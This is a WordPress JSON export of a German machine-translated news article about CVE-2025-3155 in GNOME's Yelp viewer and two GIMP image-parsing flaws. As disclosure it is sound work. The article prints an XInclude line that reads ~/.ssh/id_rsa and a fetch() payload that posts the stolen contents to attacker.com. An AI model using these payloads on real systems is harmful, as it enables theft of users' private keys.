{"id":123434,"date":"2025-04-08T15:05:07","date_gmt":"2025-04-08T13:05:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov"},"modified":"2025-04-08T15:05:07","modified_gmt":"2025-04-08T13:05:07","slug":"uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","title":{"rendered":"Schwachstellen in GNOME Help und GIMP, die eine Codeausf\u00fchrung beim \u00d6ffnen von Dateien erm\u00f6glichen.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Im standardm\u00e4\u00dfigen Yelp-Viewer, der in GNOME f\u00fcr die Arbeit mit Hilfefunktionen (GNOME-Hilfe) verwendet wird, wurde eine Sicherheitsanf\u00e4lligkeit (CVE-2025-3155) entdeckt, die es erm\u00f6glicht, beliebigen JavaScript-Code auszuf\u00fchren, wenn speziell gestaltete Page-Dateien ge\u00f6ffnet werden. Die Ausf\u00fchrung solcher Skripte erlaubt es, Benutzerdaten an den Server des Angreifers zu senden. Informationen zur Behebung der Sicherheitsanf\u00e4lligkeit in den Distributionen finden Sie auf den folgenden Seiten: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. <\/p>\n

In GNOME wird die URI \u201eghelp:\/\/\u201c registriert, um Dateien mit Hilfe von Handbuchen zu \u00f6ffnen, die \u00fcber einen Aufruf von Yelp verarbeitet werden. Um anzugreifen, muss ein Angreifer erreichen, dass seine Datei index.page auf das System des Benutzers geladen wird. Beispielsweise kann man den Benutzer t\u00e4uschen, indem man ihn dazu bringt, die Datei \u00fcber einen Browser herunterzuladen, indem man auf einen Link auf der Angreifer-Website klickt. Nachdem die Datei heruntergeladen wurde, kann der Angreifer das \u00d6ffnen dieses Dokuments initiieren, indem er im Browser von seiner Seite auf die URL ghelp:\/\/ mit dem Pfad zum Verzeichnis umleitet, in das die Datei geladen wurde. Zum Beispiel \u201eghelp:\/\/\/proc\/self\/cwd\/Downloads\u201c, wobei der Pfad \u201e\/proc\/self\/cwd\u201c mit dem Arbeitsverzeichnis des aktuellen Prozesses assoziiert ist (beim Start von Yelp ist dies das Heimatverzeichnis des Benutzers). <\/p>\n

Die Schwachstelle ergibt sich aus der Verwendung des Mallard-Formats, das auf XML basiert, in page-Dateien. In diesem Format besteht die M\u00f6glichkeit, Inhalte anderer Dateien mithilfe des XInclude-Mechanismus in das Dokument einzuf\u00fcgen. Zur Darstellung von page-Dateien wandelt das Programm Yelp diese aus XML in HTML unter Verwendung von XSLT (yelp-xsl) um und zeigt sie dann mit der WebKitGtk-Engine an. Das Ziel ist es, JavaScript in die resultierende HTML-Datei einzuf\u00fcgen und dieses JavaScript zu verwenden, um zu senden an Server<\/a> Inhalte, die \u00fcber XInclude eingef\u00fcgt wurden. <\/p>\n

Um JavaScript einzuf\u00fcgen, wurde genutzt, dass XSLT einige Elemente ohne \u00dcberpr\u00fcfung in HTML kopiert, zum Beispiel, indem das <svg>-Element und seinen gesamten Inhalt unversehrt \u00fcbernommen werden. So gen\u00fcgt es, die Datei \u201e~\/.ssh\/id_rsa\u201c in das page-Dokument mit der Direktive \u201einclude\u201c einzuf\u00fcgen: <include parse=\u201etext\u201c xmlns=\u201ehttp:\/\/www.w3.org\/2001\/XInclude\u201c href=\u201e\/proc\/self\/cwd\/.ssh\/id_rsa\u201c\/> der Server<\/a> Es reicht aus, die Datei \u201e~\/ .ssh\/id_rsa\u201c in das Page-Dokument mit der Direktive \u201einclude\u201c einzuf\u00fcgen: <\/p>\n

Danach kann \u00fcber das Element ein JavaScript-Code hinzugef\u00fcgt werden, um eine POST-Anfrage an einen externen Server zu senden, indem die Funktion fetch() verwendet wird: onload=_=>fetch('http:\/\/attacker.com\/',{method:'POST',body:document.body.outerHTML,mode:'no-cors'}) <\/p>\n

Zus\u00e4tzlich sind zwei Schwachstellen (CVE-2025-2761, CVE-2025-2760) im Grafikeditor GIMP zu erw\u00e4hnen, die dazu f\u00fchren, dass ein Angreifer beim \u00d6ffnen speziell pr\u00e4parierter Bilder im XWD- und FLI-Format Code ausf\u00fchren kann. Beide Schwachstellen resultieren aus unzureichender \u00dcberpr\u00fcfung der Datenmenge, die w\u00e4hrend der Analyse des Inhalts der Dateien in den Puffer kopiert wird. Die Schwachstellen wurden in der Version GIMP 3.0.0 behoben.
\n
Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0449\u0438\u043a\u0435 Yelp, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 GNOME \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u043c\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u043c\u0438 (GNOME Help), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-3155), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 page-\u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-123434","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47 Schwachstellen in GNOME Help und GIMP, die Codeausf\u00fchrung beim \u00d6ffnen von Dateien erm\u00f6glichen | ProHoster","description":"Im Standardbetrachter Yelp, der in GNOME f\u00fcr die Arbeit mit Handbuchen (GNOME Help) verwendet wird, wurde eine Schwachstelle (CVE-2025-3155) entdeckt, die es erm\u00f6glicht, willk\u00fcrlichen JavaScript-Code auszuf\u00fchren, wenn speziell gestaltete page-Dateien ge\u00f6ffnet werden. Das Ausf\u00fchren solcher Skripte erm\u00f6glicht es, Benutzerdateien an den Server des Angreifers zu senden. Informationen zur Behebung der Schwachstelle in den Distributionen finden Sie auf den folgenden Seiten: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD.","canonical_url":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"de_DE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 GNOME Help \u0438 GIMP, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 | ProHoster","og:description":"\u0412 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0449\u0438\u043a\u0435 Yelp, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 GNOME \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u044b\u043c\u0438 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u043c\u0438 (GNOME Help), \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-3155), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 JavaScript-\u043a\u043e\u0434 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 page-\u0444\u0430\u0439\u043b\u043e\u0432. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u0445: Debian, Ubuntu, RHEL, SUSE\/openSUSE, Fedora, Arch, FreeBSD.","og:url":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/uyazvimosti-v-gnome-help-i-gimp-pozvolyayushhie-vypolnit-kod-pri-otkrytii-fajlov","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-04-08T13:05:07+00:00","article:modified_time":"2025-04-08T13:05:07+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"123434","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-02-09 22:07:19","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 12:05:22","updated":"2026-02-09 22:07:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/123434","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/comments?post=123434"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/123434\/revisions"}],"predecessor-version":[{"id":173086,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/posts\/123434\/revisions\/173086"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/media?parent=123434"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/categories?post=123434"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/de\/wp-json\/wp\/v2\/tags?post=123434"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}